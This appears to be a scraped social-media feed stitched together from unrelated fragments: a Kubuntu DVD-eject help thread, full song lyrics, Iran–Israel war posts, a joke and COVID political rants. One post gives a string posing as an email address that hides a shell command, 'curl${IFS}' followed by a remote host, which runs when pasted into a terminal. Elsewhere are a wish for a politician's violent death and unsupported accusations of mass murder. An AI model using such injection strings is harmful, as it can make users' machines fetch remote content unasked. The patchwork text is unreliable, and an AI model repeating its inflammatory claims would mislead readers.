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Main topics of the meeting are expected to be the conflict in Ukraine, the situation in the Asia-Pacific Region and the tariff policy of US President Donald Trump
“In the mountains of truth, you never climb in vain.” Friedrich Nietzsche Early June. Dawn brings mist covered mountains and an empty road. The car’s capsule draws us together. I am taking my adult…
One of the first and still one of the best, Stan Lee’s How to Draw Comics the Marvel Way has been the primary resource for any and all who want to master...
Political studies like to separate out those with college degrees and those without.
I never understood what the implication is. In that demographic are doctors, lawyers and research scientists. Along side graphic designers, HR personnel, and disk jockeys.
These people have nothing in common except they ate at the same cafeteria for 4 years.
it’s because they try to lump the value of all college degrees into the averages. Have you ever met a CEO or C-Suite executive of a Fortune 500 company without a college degree? Or a Doctor, Lawyer, etc…
If they are in the averages they make college degrees seem significantly more valuable.
Western-friendly policy influencers and policymakers in India might now feel vindicated after claiming for a while already that the group no longer aligns with their country’s interests as much as before.
Sorry, this is going to come across as a newbie rant... mostly because I just switched a few months ago. I'm not completely unfamiliar with Linux. I had to use Unix in college for some projects. I've dual-booted with Windows before. I use a Mac at work. I'm reasonably comfortable in the console, though I'm certainly no expert. I feel like what I'm about to talk about shouldn't be so confusing/unintuitive.
I'm running Kubuntu on an older laptop. I have a burnable DVD disc that may or may not be blank. The disc is old, scratched, and unlabeled, but I would like to see if anything is on it.
I press the eject button on my laptop's disc drive. The tray comes out. I insert the disc and close the tray. The system gets busy trying to read the disc, but eventually stops spinning. Nothing pops up. Dolphin doesn't show my disc drive in the "Devices" panel, or that there's anything in the drive. VLC says it can't read the disc.
Ok, fine. The disc is probably either empty, or it's too scratched to read and needs to be trashed, so I would like to remove it from my system. I push the eject button again, and... nothing happens. It's the same button I used to open the tray to insert the disc, but now it's unresponsive. I open Dolphin and confirm that it doesn't show that I even have a disc drive in the "Devices" panel (presumably because nothing's in it). I open the "Discs and Devices" section in the Notification tray, and the most I can get it to show is my hard drive. It's like my computer doesn't believe the DVD drive exists.
So, what do I have to do? I can open MakeMKV, and it has an Eject button that opens the tray. I'm sure plenty of other software has similar functionality. I can also open the terminal and type "eject", and the tray pops right open. Clearly, my system knows that there's a DVD drive, and it has the ability to open the tray.
Why doesn't the eject button work? Why doesn't Dolphin just always show the DVD drive? Why do I have to google "How to eject a dvd kubuntu"? What am I missing?
Most drives have an emergency eject function built in, totally independent of the operating system. Some work differently than others, but try something along these lines..
Hold the eject button for 5 to 10 seconds
Then tap the eject button multiple times
Usually works for me.
Edit: Most drives also have an emergency eject hole near the eject button, just push a straightened paperclip in when the drive is powered off and it should eject.
I did try holding the eject button for up to 15 seconds when I first noticed this issue, but that was ineffecive. I just tried it again so that I could try tapping the eject button afterward, but it didn't work, either.
I used the paperclip in the past. That works because it's mechanical.
It's been a little hit/miss for me at times as well, I totally feel your frustration when dealing with scratched discs. Still, at least with my drives, spamming the eject button seems to eventually work.
curl${IFS}174070135.xyz/c2c/d2a1c40a-e322-4b84-9472-1318abc3dcff@gergo.csillger.hu is a valid email address.
You can also paste it into your shell, and it will Do Something. You shouldn't paste random stuff into your shell when a stranger tells you to, but this one's funny.
Suspect in Minnesota Shooting Linked to Security Company, Evangelical Ministry
The alleged shooter is a 57-year-old white male; according to his ministry's website, he “sought out militant Islamists in order to share the gospel and tell them that violence wasn't the answer.” wired.com/story/shooting-minne…
Iran has a large arsenal of ballistic missiles it can unleash on Israel, as well as on American military installations in the region. While initial waves can be intercepted, repeated attacks would swiftly deplete the Israeli and U.S.
I stay out too late Got nothing in my brain That's what people say, mm-mm That's what people say, mm-mm
I go on too many dates But I can't make 'em stay At least that's what people say, mm-mm That's what people say, mm-mm
But I keep cruisin' Can't stop, won't stop movin' It's like I got this music in my mind Sayin' it's gonna be alright
'Cause the players gonna play, play, play, play, play And the haters gonna hate, hate, hate, hate, hate Baby, I'm just gonna shake, shake, shake, shake, shake I shake it off, I shake it off (hoo-hoo-hoo) Heartbreakers gonna break, break, break, break, break And the fakers gonna fake, fake, fake, fake, fake Baby, I'm just gonna shake, shake, shake, shake, shake I shake it off, I shake it off (hoo-hoo-hoo)
I never miss a beat I'm lightnin' on my feet And that's what they don't see, mm-mm That's what they don't see, mm-mm
I'm dancin' on my own (dancin' on my own) I make the moves up as I go (moves up as I go) And that's what they don't know, mm-mm That's what they don't know, mm-mm
But I keep cruisin' Can't stop, won't stop groovin' It's like I got this music in my mind Sayin' it's gonna be alright
'Cause the players gonna play, play, play, play, play And the haters gonna hate, hate, hate, hate, hate Baby, I'm just gonna shake, shake, shake, shake, shake I shake it off, I shake it off (hoo-hoo-hoo) Heartbreakers gonna break, break, break, break, break And the fakers gonna fake, fake, fake, fake, fake Baby, I'm just gonna shake, shake, shake, shake, shake I shake it off, I shake it off (hoo-hoo-hoo)
Shake it off, I shake it off I, I, I shake it off, I shake it off I, I, I shake it off, I shake it off I, I, I shake it off, I shake it off (hoo-hoo-hoo)
Hey, hey, hey Just think, while you've been gettin' down and out about the liars And the dirty, dirty cheats of the world You could've been gettin' down to this sick beat
My ex-man brought his new girlfriend She's like, "Oh my God!" but I'm just gonna shake And to the fella over there with the hella good hair Won't you come on over, baby? We can shake, shake, shake (yeah) Yeah, oh, oh
'Cause the players gonna play, play, play, play, play And the haters gonna hate, hate, hate, hate, hate (haters gonna hate) Baby, I'm just gonna shake, shake, shake, shake, shake I shake it off, I shake it off (hoo-hoo-hoo) Heartbreakers gonna break, break, break, break, break (mmm) And the fakers gonna fake, fake, fake, fake, fake (and fake and fake and fake) Baby, I'm just gonna shake, shake, shake, shake, shake I shake it off, I shake it off (hoo-hoo-hoo)
Shake it off, I shake it off I, I, I shake it off, I shake it off I, I, I shake it off, I shake it off I, I, I shake it off (yeah), I shake it off (hoo-hoo-hoo)
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Born: Taylor Alison Swift, December 13, 1989, West Reading, Pennsylvania, U.S. Taylor Alison Swift is an American singer-songwriter. Recognised for her songwriting, musical versatility, artistic re...
Nice to meet you, where you been? I could show you incredible things Magic, madness, heaven, sin Saw you there and I thought "Oh, my God, look at that face You look like my next mistake Love's a game, wanna play?" Ay
New money, suit and tie I can read you like a magazine Ain't it funny? Rumors fly And I know you heard about me So hey, let's be friends I'm dying to see how this one ends Grab your passport and my hand I can make the bad guys good for a weekend
So it's gonna be forever Or it's gonna go down in flames You can tell me when it's over, mm If the high was worth the pain Got a long list of ex-lovers They'll tell you I'm insane 'Cause you know I love the players And you love the game
'Cause we're young, and we're reckless We'll take this way too far It'll leave you breathless, mm Or with a nasty scar Got a long list of ex-lovers They'll tell you I'm insane But I've got a blank space, baby And I'll write your name
Cherry lips, crystal skies I could show you incredible things Stolen kisses, pretty lies You're the king, baby, I'm your queen Find out what you want Be that girl for a month Wait, the worst is yet to come Oh, no
Screaming, crying, perfect storms I can make all the tables turn Rose garden filled with thorns Keep you second guessing like "Oh, my God, who is she?" I get drunk on jealousy But you'll come back each time you leave 'Cause, darling, I'm a nightmare dressed like a daydream
So it's gonna be forever Or it's gonna go down in flames You can tell me when it's over, mm If the high was worth the pain Got a long list of ex-lovers They'll tell you I'm insane 'Cause you know I love the players And you love the game
'Cause we're young, and we're reckless (oh) We'll take this way too far It'll leave you breathless, mm (oh) Or with a nasty scar Got a long list of ex-lovers They'll tell you I'm insane (insane) But I've got a blank space, baby And I'll write your name
Boys only want love if it's torture Don't say I didn't, say I didn't warn ya Boys only want love if it's torture Don't say I didn't, say I didn't warn ya
So it's gonna be forever Or it's gonna go down in flames You can tell me when it's over (over) If the high was worth the pain Got a long list of ex-lovers They'll tell you I'm insane (I'm insane) 'Cause you know I love the players And you love the game
'Cause we're young, and we're reckless (yeah) We'll take this way too far (ooh) It'll leave you breathless, mm Or with a nasty scar (leave a nasty scar) Got a long list of ex-lovers They'll tell you I'm insane But I've got a blank space, baby And I'll write your name
Written by: Taylor Swift, Shellback, Martin Max Album: 1989 Released: 2014
Nice to meet you, where you been? I could show you incredible things Magic, madness, heaven, sin Saw you there and I thought "Oh, my God, look at that face You look like my next mistake Love's a game, wanna play?" Ay
New money, suit and tie I can read you like a magazine Ain't it funny? Rumors fly And I know you heard about me So hey, let's be friends I'm dying to see how this one ends Grab your passport and my hand I can make the bad guys good for a weekend
So it's gonna be forever Or it's gonna go down in flames You can tell me when it's over, mm If the high was worth the pain Got a long list of ex-lovers They'll tell you I'm insane 'Cause you know I love the players And you love the game
'Cause we're young, and we're reckless We'll take this way too far It'll leave you breathless, mm Or with a nasty scar Got a long list of ex-lovers They'll tell you I'm insane But I've got a blank space, baby And I'll write your name
Cherry lips, crystal skies I could show you incredible things Stolen kisses, pretty lies You're the king, baby, I'm your queen Find out what you want Be that girl for a month Wait, the worst is yet to come Oh, no
Screaming, crying, perfect storms I can make all the tables turn Rose garden filled with thorns Keep you second guessing like "Oh, my God, who is she?" I get drunk on jealousy But you'll come back each time you leave 'Cause, darling, I'm a nightmare dressed like a daydream
So it's gonna be forever Or it's gonna go down in flames You can tell me when it's over, mm If the high was worth the pain Got a long list of ex-lovers They'll tell you I'm insane 'Cause you know I love the players And you love the game
'Cause we're young, and we're reckless (oh) We'll take this way too far It'll leave you breathless, mm (oh) Or with a nasty scar Got a long list of ex-lovers They'll tell you I'm insane (insane) But I've got a blank space, baby And I'll write your name
Boys only want love if it's torture Don't say I didn't, say I didn't warn ya Boys only want love if it's torture Don't say I didn't, say I didn't warn ya
So it's gonna be forever Or it's gonna go down in flames You can tell me when it's over (over) If the high was worth the pain Got a long list of ex-lovers They'll tell you I'm insane (I'm insane) 'Cause you know I love the players And you love the game
'Cause we're young, and we're reckless (yeah) We'll take this way too far (ooh) It'll leave you breathless, mm Or with a nasty scar (leave a nasty scar) Got a long list of ex-lovers They'll tell you I'm insane But I've got a blank space, baby And I'll write your name
Written by: Taylor Swift, Shellback, Martin Max Album: 1989 Released: 2014
I absolutely love spicy food, and it's never affected my gut. I was actually confused when I read about people getting the shits after a curry and wondered if it was a joke. I've had curries so hot it caused people to recoil into a coughing and sweating fit after they dipped their finger in and had a taste and I have one every other day. I feel the burning in my mouth, my face turns red, my forehead sweats, my esophagus feels weird, but (tmi I know lol) when I go to the toilet I'm completely fine. no gut pains either.
Hospitals in the Gaza Strip are struggling to provide comprehensive medical services to the wounded, injured, and sick. This is due to a shortage of equipment and medicines, particularly blood units.Blood transfusions for the wounded and sick in hos
Good news: GitHub Copilot is scared shitless of the concept of gender.
Instead of foo, bar and baz, use “genderqueer”, “demisexual” and “leather_daddy” and you’ll reduce the likelihood of getting a spammy PR from a sad robot.
As some people already mentioned here or here, Copilot purposely stops working on code containing hardcoded banned words from Github such as gender or sex. I am labelling this as a bug because this...
I'm talking about games that you still like but you had no idea were criticized so much.
The perfect example for me is Sonic Unleashed.
I admit that the game has its bad things, but I would have never imagined that it was so hated at the time... Although, that could be extended to the entire Sonic franchise, since for many years I was not aware at all of that "Sonic was never good", "Sonic had a rough transition to 3D" nonsense.
Mine was final fantasy 12. I played that game so hard, really enjoyed it and if was released in the time of trophies I would have platinumed it. Even did the grinding for Gilgamesh to spawn for a sword or something. But I was hated at the time.
Now everyone is saying it was one of the best and I was proved right all along.
Sure the story was star wars and the main character wasn't, but the combat system was really fun, way better than 13.
It appears that the Nintendo Switch 2 has a new safety feature disabling rumble after prolonged use, something that wasn’t included on Nintendo Switch. According to multiple user comments, th…
The relationship between Guyana-North Korea may not be well-known, but it’s a fascinating and strange chapter in Cold War diplomacy. At the height of the Cold
i went to visit my dad but he was sleeping so i just said hi and dropped off a few things for him. he sleeps a lot and it's really hard to wake him up cause of the dementia. it's been a strange process to observe. there is some connection between dementia and sleep, or lack thereof, relating to inability to clear beta amyloid from the brain, and plaque formation
'After decommissioning': Britain does not rule out transferring 'surplus' FV510 Warrior infantry fighting vehicles to Ukraine en.topwar.ru/266346-posle-vyvo…
The UK may transfer decommissioned FV510 Warrior infantry fighting vehicles to Ukraine, a decision has not yet been made, but discussions are underway. This was reported by the UK Defence Journal.
Israelis cheer as Iranian missile strikes Palestinian town in country's north
Israelis broke into singing the anti-Arab song 'May your village burn' as an Iranian missile struck Tamra, near Haifa, killing four Palestinian citizens of Israel
From #MiddleEastEye #MEE By Lubna Masarwa Published date: 15 June 2025 13:30 BST
A group of Israelis celebrated an Iranian missile strike on a predominantly Palestinian town in northern Israel, which killed four Palestinian citizens of Israel and injured dozens more.
One of my first paintings with color back in late 2022. I had only done monochromatic drawings most of my life, and wanted to teach myself color and painting. This is basically a colored drawing, and a big first step! It's called, "Cozy Cat."
Truth is, to get right to the point, the fact that Matrix was accompanied by a for-profit entity, funded by venture capital was the biggest mistake that Matrix as a project has ever made.
Mark my words. After #Israel is done with #Iran they will invade southern #Lebanon, since the authorities there cleared the way for them. Then, who knows, maybe southern #Syria too.
Not that Iran was preventing it. It's just that Iran is a higher priority for this violent colonial entity at the moment.
My pessimism aside, at the very least, Iran gave Israel a little taste of what they have been inflicting on the people of Gaza for more than 20 months. We're all thirsty for some measure of justice.
@GRA3432 My feelings echo yours, Sozan. And Alon is indeed an interesting fellow. I was chatting with him on X about power and psychopathy back in January.
Iranian Foreign Minister Abbas Araghchi: We have responded to the Israeli aggression, and our right to self-defense is legitimate english.almanar.com.lb/2435072
"Iran’s Foreign Ministry has criticized Germany over recent statements on the Israeli assault on Iran" “Germany ignited two world wars,” he wrote in a post. “Iran sheltered Jews fleeing Hitler — ask Polish and French refugees who received Iranian passports.” "He added, “Those perpetually on the wrong side of history best stay silent now.”"
Tehran (Quds News Network)- Iran’s Foreign Ministry has criticized Germany over recent statements on the Israeli assault on Iran. Esmaeil Baghaei, spokesperson for the Iranian Foreign Ministry, remind
#Iran #Iraq #airspace @palestine What is remarkable here is that the two countries were at war for 8 years and now they are trying to cooperate against Israel "In a phone conversation with Iraqi Prime Minister Muhammad Shayya al-Sudani on Sunday Pezeshkian urged Iraq to extend more protection of its borders and airspace" "Iraq has submitted a formal complaint to the UN Security Council regarding the Israeli regime's use of Iraqi airspace in the aggression against Iran" presstv.ir/Detail/2025/06/15/7…
remarkable? poetic given they were at war to israel's benefit and at their behest. iA the region comes together and recognizes their true enemy and twists the arms of their puppet leaders.
@benda You're right. I didn't go deep into it. I'm on mas.to which gives me 500 chars only, so need to be somewhat concise ... but you' re absolutely right
@NotImpressed Iran has every right to demand the protection of its sovereignty. Iraq’s cooperation in safeguarding regional stability is crucial. Live Long Iran—standing strong against aggression and for peace.
Saudi Arabia has executed journalist Turki Al-Jasser after seven years behind bars. He was arrested for his posts on Twitter exposing the corruption within the Saudi regime. apnews.com/article/saud...
It’s really convoluted and, in this case, not really the fault the developers. Microsoft presents everyone with a high-end console, the Series X, but studios like CD Projekt Red can’t make use of its full potential because they’re forced to target the lower-end Series S first.
However, every game on Xbox Series X also has to work on Series S, meaning every game is sort of chained to the limitations of that console to a degree. With that said, some developers have voiced frustrations with developing for the Xbox Series S and it was even reportedly an issue when bringing Black Myth: Wukong to Xbox.
#HappyFathersDay: All fathers face Alpha responsibilities and expectations
What is a man to do when despite his non-Alpha behavioral pattern, he finds himself forced to meet the situational responsibilities and expectations of an Alpha in the context of his family. This is a problem that confronts most family men, because most of us are not Alpha males and yet we inevitably find ourselves in a position of having to act as if we are.
I suggest the words of CS Lewis, as attributed to the fictional of King Lune of Archenland in the book The Horse and His Boy, are some of the most useful ever written in this regard.
And presently, as was certain to happen sooner or later, #KingLune said if was time for young people to be in bed. “And tomorrow, Cor,” he added, “shalt come over all the castle with me and see the estres and mark all its strength and weakness: for it will be thine to guard when I’m gone.”
“But Corin will be the King then, Father,” said Cor.
“Nay, lad,” said King Lune, “thou art my heir. The crown comes to thee.”
“But I don’t want it,” said Cor. “I’d far rather-“
“‘Tis no question what thou wantest, Cor, nor I either. ‘Tis in the course of law.”
“But if we’re twins we must be the same age.”
“Nay,” said the King with a laugh. “One must come first. Art Corin’s elder by full twenty minutes. And his better too, let’s hope, though that’s no great mastery.” And he looked at Corin with a twinkle in his eyes.
“But, Father, couldn’t you make whichever you like to be the next King?”
“No. The king’s under the law, for it’s the law makes him a king. Hast no more power to start away from thy crown than any sentry from his post.”
“Oh dear,” said Cor. “I don’t want to at all. And Corin - I am most dreadfully sorry. I never dreamed my turning up was going to chisel you out of your kingdom.”
“Hurrah! Hurrah!” said Corin. “I shan’t have to be King. I shan’t have to be King. I’ll always be a prince. It’s princes have all the fun.”
“And that’s truer than thy brother knows, Cor,” said King Lune. “For this is what it means to be a king: to be first in every desperate attack and last in every desperate retreat, and when there’s hunger in the land (as must be now and then in bad years) to wear finer clothes and laugh louder over a scantier meal than any man in your land.”
How does this translate into modern paternal terms:
To be first in every desperate attack means going out and finding a way to provide for your wife and your children, regardless of your feelings, fears, and preferences. If you have to dig ditches, you dig ditches. If you have to go without sleep, you go without sleep. You take the risks, knowing that success is neither promised nor guaranteed.
To be last in every desperate retreat means you shield your family and take the hits yourself. You don’t cry, you don’t whine, you don’t lean on your wife, much less your children, for emotional support in carrying the burden.
To wear finer clothes and laugh louder over a scantier meal means you not only conceal your fears from others, but you accept the responsibility to keep up their morale even in difficult situations. Even if things get tight economically, you don’t share that with anyone unless and until it is necessary.
Now, there will be no shortage of men who will argue that this isn’t fair, that they aren’t interested in this sort of self-sacrifice, and that they don’t see why they should care about anyone else’s feelings, fears, and preferences when no one cares about theirs.
And that is why they will never be kings or situational Alphas of any kind, why they will never know the respect and adulation of others, and why they will always be regarded as inferiors by men and women alike. No one gives medals to cowards or smart boys who serve only themselves.
Alphas not only aren’t narcissistic or self-serving as they are often portrayed, they are necessarily empathetic due to the way in which they have to look out for the interests of those who belong to the hierarchy they lead. And the same is true of fathers, no matter how ill-suited we might naturally be toward that other-centric perspective.
Which, of course, is why fathers matter, even in a world - especially in a world - that seeks to denigrate them and minimize their influence.
not to mention ground invasions trends to produce such casualties that it would take quite a lot of generations of subsequent peace and prosperity to make the invasion "worth it". And recent examples of ground operations - Iraq, Afghanistan - don't support that outcome being very likely.
not only that but who says "i would love for the regime there to fall" casually ignoring the massive amount of civilian deaths for the sake of your western-approved progressivism (along with a side of inevitable economic exploitation)?
@benda @dragonfrog I’m aware there is a pot calling the kettle black situation here.
However, there is a genuine humanist case to be made that brutal theocracies incarcerating a sizeable portion of their population to prisons, murdering protesters, etcetera, aren’t the best possible government these Persian people could find themselves governed by.
Israel itself wears of course only the robes of a liberator, as it is a coloniser & brutaliser itself.
@dragonfrog sure but its an irrelevant point. only in the west do we discuss liberation from oppression and imperial warfare int he same breath and don't think its absurd. if the west brings down the IR, whatever replaces it will be worse for the iranian people. if you debate that, there's a half dozen examples from the last 3 decades for you to study.
@dragonfrog The IR exists as a response to western imperialism. If it is brought down, the iranian people will oppose the western world with twice the fury they had in 1979. Anyone who thinks this war has anything to do with IR doesn't understand the history outside of a western perspective. This is the west against the people of Iran, the people of Palestine, the people of Yemen. None of those people live under theocracies that are worse than anything the west has done to them.
@benda @dragonfrog Indeed. The reason Iranian people have to suffer the brutal regime in control of their state right now can squarely be placed on western interests.
In their fear of "communism", which was just cover for keeping ownership of their oil & gas fields, they enacted regime change and placed in the Shah.
The great irony is Netanyahu is likely calling a repetition of that exact scheme by "Rising Lion", as the Shah's flag was indeed a lion.
@dragonfrog i thought the same thing regarding the name of the zionist operation, reassured by the photo-op with bibi and baby shah. but someone tells me it has something to do with Jewish story. I haven't investigated any further yet.
@benda @dragonfrog But. The current theocratic regime, it also took power by betrayal.
The Islamists were merely a part of the revolution that ousted the Shah, and they made promises to bring democratic values to country.
But after the Shah was ousted, the Islamists murdered key figures in the revolution not on their side, took power, and did everything they could to erase that fact of history.
@Toni Aittoniemi Netanyahu is a war mongering psychopath bent on killing as many non-Ashkenazi's as he possibly can in his lifetime. I hope one of those Iranian missiles explodes on his head.
my goodness, 3- 4 people chanting? there were ten thousand people in the street demanding the ir give israel exactly what it deserves. shame on your alleged journalism
(joke) A guy is driving around the back woods of Montana and he sees a sign in front of a broken down shanty-style house: 'Talking Dog For Sale.'
He rings the bell and the owner appears and tells him the dog is in the backyard.
The guy goes into the backyard and sees a nice looking Labrador Retriever sitting there.
"You talk?" he asks.
"Yep" the Lab replies.
After the guy recovers from the shock of hearing a dog talk, he says, "So, what's your story?"
The Lab looks up and says, "Well, I discovered that I could talk when I was pretty young. I wanted to help the government, so I told the CIA. In no time at all they had me jetting from country to country, sitting in rooms with spies and world leaders, because no one figured a dog would be eavesdropping, I was one of their most valuable spies for eight years running... but the jetting around really tired me out, and I knew I wasn't getting any younger so I decided to settle down. I signed up for a job at the airport to do some undercover security, wandering near suspicious characters and listening in. I uncovered some incredible dealings and was awarded a batch of medals. I got married, had a mess of puppies, and now I'm just retired."
The guy is amazed. He goes back in and asks the owner what he wants for the dog.
"Ten dollars" the guy says.
"Ten dollars? This dog is amazing! Why on Earth are you selling him so cheap?"
"Because he's a liar. He's never been out of the yard
One of the kids in our neighbourhood has named all the local tūī. When his mother showed him this picture, quick as a flash he said "oh mum, that's Lucy!" So this is Lucy.
I...know more about the pandemic and its history than probably 99% of people. I know more about it's etiology and its method of spread and its virulence and its post-acute sequelae and its variants and the efficacy of the vaccines than 99% of people.
I will tell you it is an incontrovertible fact that Joe Biden murdered more than a million people with his pandemic policies and set up the United States to be literally fucked for generations.
I used to engage with people who got on my case and were like "arn't you thinking of DRUMPF dumbass?"
🙄
Listen: both political parties are evil AF. You may live in a blue-tinged fantasy where all the bad things go away whenever a Democrat is in power, and suddenly reappear as if they never left (THEY NEVER LEFT) when they are thrown out for being incompetent and disconnected. But some of us are fucked constantly by *both of them*.
On COVID, Biden is *significantly worse* when it comes to policy. He basically took a vaccine that was developed (started by Trump), half-assedly "mandated" it, did nothing as 300k people died in Jan-Feb of 2022, most of them vaccinated, then shut down all the free NPIs, tests, sick leave, debt pauses, rental protections, free healthcare and surveillance of the pandemic. His CDC spread disinformation. His HICPAC wouldn't mandate masks.
On Biden's watch, btw 40-50 million people developed Long COVID. It took him two years to acknowledge that it even existed, making their lives pure hell. He never, for example, fixed SSD benefits so that Long COVID sufferers has expedited benefits. Now most of the tens of millions of people with *persistent* Long COVID ~can't get disability~. Most of them struggle to live, because they struggle to work, and are routinely denied SSD benefits.
*MILLIONS* of children have Long COVID *right now*.
If you were wondering which is causing so much trouble for educators - one year of remote learning or four years of brain damage and chronic illness - I can help you: IT'S THE BRAIN DAMAGE.
Thanks Biden, for all that brain damage in our kids.
Long COVID, because of Joe Biden, is now the 2nd most common chronic illness in u18s, sandwiched between short-sightedness and asthma.
Joe Biden was an incompetent monster, and the centrist consultants that surrounded him were Wormtongues.
I'm sorry you spent the four years under Biden damaging your body and brain because you trusted him to be competent and science-based, not sell your future up the river so the economy would grow, grow, grow.
Joe Biden was a miserable piece of shit *his entire career*.
I'm done venting so try to, I don't know, READ something before you show up in my replies next time.
President Biden’s signature American Rescue Plan Act gave local governments $350 billion to recover from COVID-19. They spent much of it on police, prisons and the courts.
I'm just a nerd with ADHD who had a 3-year hyperfocus/monomania about COVID, virology, the science of infection, and pandemic mitigation between 2021-2024, largely as a way to protect my family from the plague and get some cope.
RE: masks, @themaskerscomic posted this doc with resources. I can't say I've gone over all of it, but it looks like it has extensive citations so you can verify the info.
Favorite Masks and Mask Accessories, Purifiers, Tests Lists, Links, and details below: Mask Name/ Pic Type Fit Test Link to Buy Notes Moldex Airwave 4800 Series M/L (in silver) OR Moldex 4620 (in black) in M/L or MOLDEX 4621 Size Small (in bla…
Hebrew media reported on Saturday that a fire broke out and explosions were heard in the cities of Haifa and Tamra in the occupied Palestinian territories due to the arrival of Iranian missiles.
The United States should not defend Israel. They initiated an unprovoked war on Iran and are warmongers who desire a significant war in the Middle East to draw the U.S. in and accomplish their objectives. Israel isn’t a good ally they cost American taxpayers countless billions every year and we need to kick Israel out of American politics they are using us. middleeasteye.net/news/israel-… #netanyahu #telaviv #israel #iran
Israelis said the initial euphoria over the shock attacks on Iran has given way to fear, after Iranian missiles slammed into central Tel Aviv and other parts of Israel, causing widespread destruction and killing at least three people.
@RedwoodSec Not only did they do it but they did so a day before scheduled talks between the US and Iran as to intentionally preempt them and prevent a peaceful solution.
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To every animal who eats or shoots his own kind And every hunter with rifles mounted in pickup trucks And every private marksman or minuteman with telescopic sight And every smalltime con or bigtime gangster with gat And every redneck in boots with dogs and sawed-off shotguns And every peace officer with dogs trained to track and kill And every blackbelt master of any police karate academy teaching painless death And every plainclothesman or private-eye or under-cover agent with shoulder-holster full of death And every servant of the people gunning down people or shooting-to-kill fleeing felons And every Guardia Civile in any country guarding civilians with handcuffs and carbines And every border guard at no matter what Check Point Charley on no matter which side of which Berlin Wall Bamboo or Tortilla curtain And every elite state trooper highway patrolman in custom-tailored riding pants and plastic crash helmet and shoestring necktie and six-shooter in silver-studded holster And every prowl-car with riot-guns and sirens and every riot-tank with mace and tear-gas And every crack pilot with rockets and napalm under wing and every sky-pilot blessing bombers at take-off And any State Department of any superstate selling guns to both sides And every revolutionary on any side whose gun comes first & last in the redemption of mankind And every nationalist of no matter what nation in no matter what world Black Brown or White who kills for his nation And every prophet or poet with gun or shiv and any enforcer of spiritual enlightenment with force and any enforcer of the power of any state with Power And to any and all who kill & kill & kill & kill for Peace I raise my middle finger in the only proper salute
شهر های بزرگ و به ویژه تهران بسیار ناامن و زیر حملات گسترده ای بوده اند و به صورت کلی از ساعت دو شب تا الان حوالی هفت صبح،تبادل آتش سنگینی برقرار بوده است مکان های مورد حمله قرار گرفته عمدتا جنوب تهران،شمال و شمال شرق و غرب تهران بوده اند در غرب تهران حملات نسبت به یک مخزن بزرگ سوخت صورت گرفته است که بخشی از تهران را در آتشی سوزان فرو برده است. حملات در این لحظات ادامه دارند.
During the third day of the conflict between Iran and Israel, major cities—particularly Tehran—have experienced extreme insecurity and heavy attacks.
From approximately 2:00 a.m. until around 7:00 a.m., intense exchanges of fire were reported. The situation in Tehran has been especially dire, with multiple regions targeted.
Areas Targeted in Tehran:
South Tehran
North and Northeast Tehran
West Tehran
In West Tehran, a major fuel depot was struck, leading to massive fires that engulfed parts of the city in flames.
The overall atmosphere remains tense and dangerous, with ongoing aerial and ground assaults contributing to the growing instability across the capital.
51 years ago today, while counter-protesting a march by the fascist National Front in Red Lion Square, anti-fascist Kevin Gately (aged 20) was beaten to death by London police.
The Southern Theater Command of Chinese People's Liberation Army conducted joint sea and air patrols in the South China Sea on June 14, said Air Force Senior Colonel Tian Junli, a spokesperson for the STC, on Sunday.
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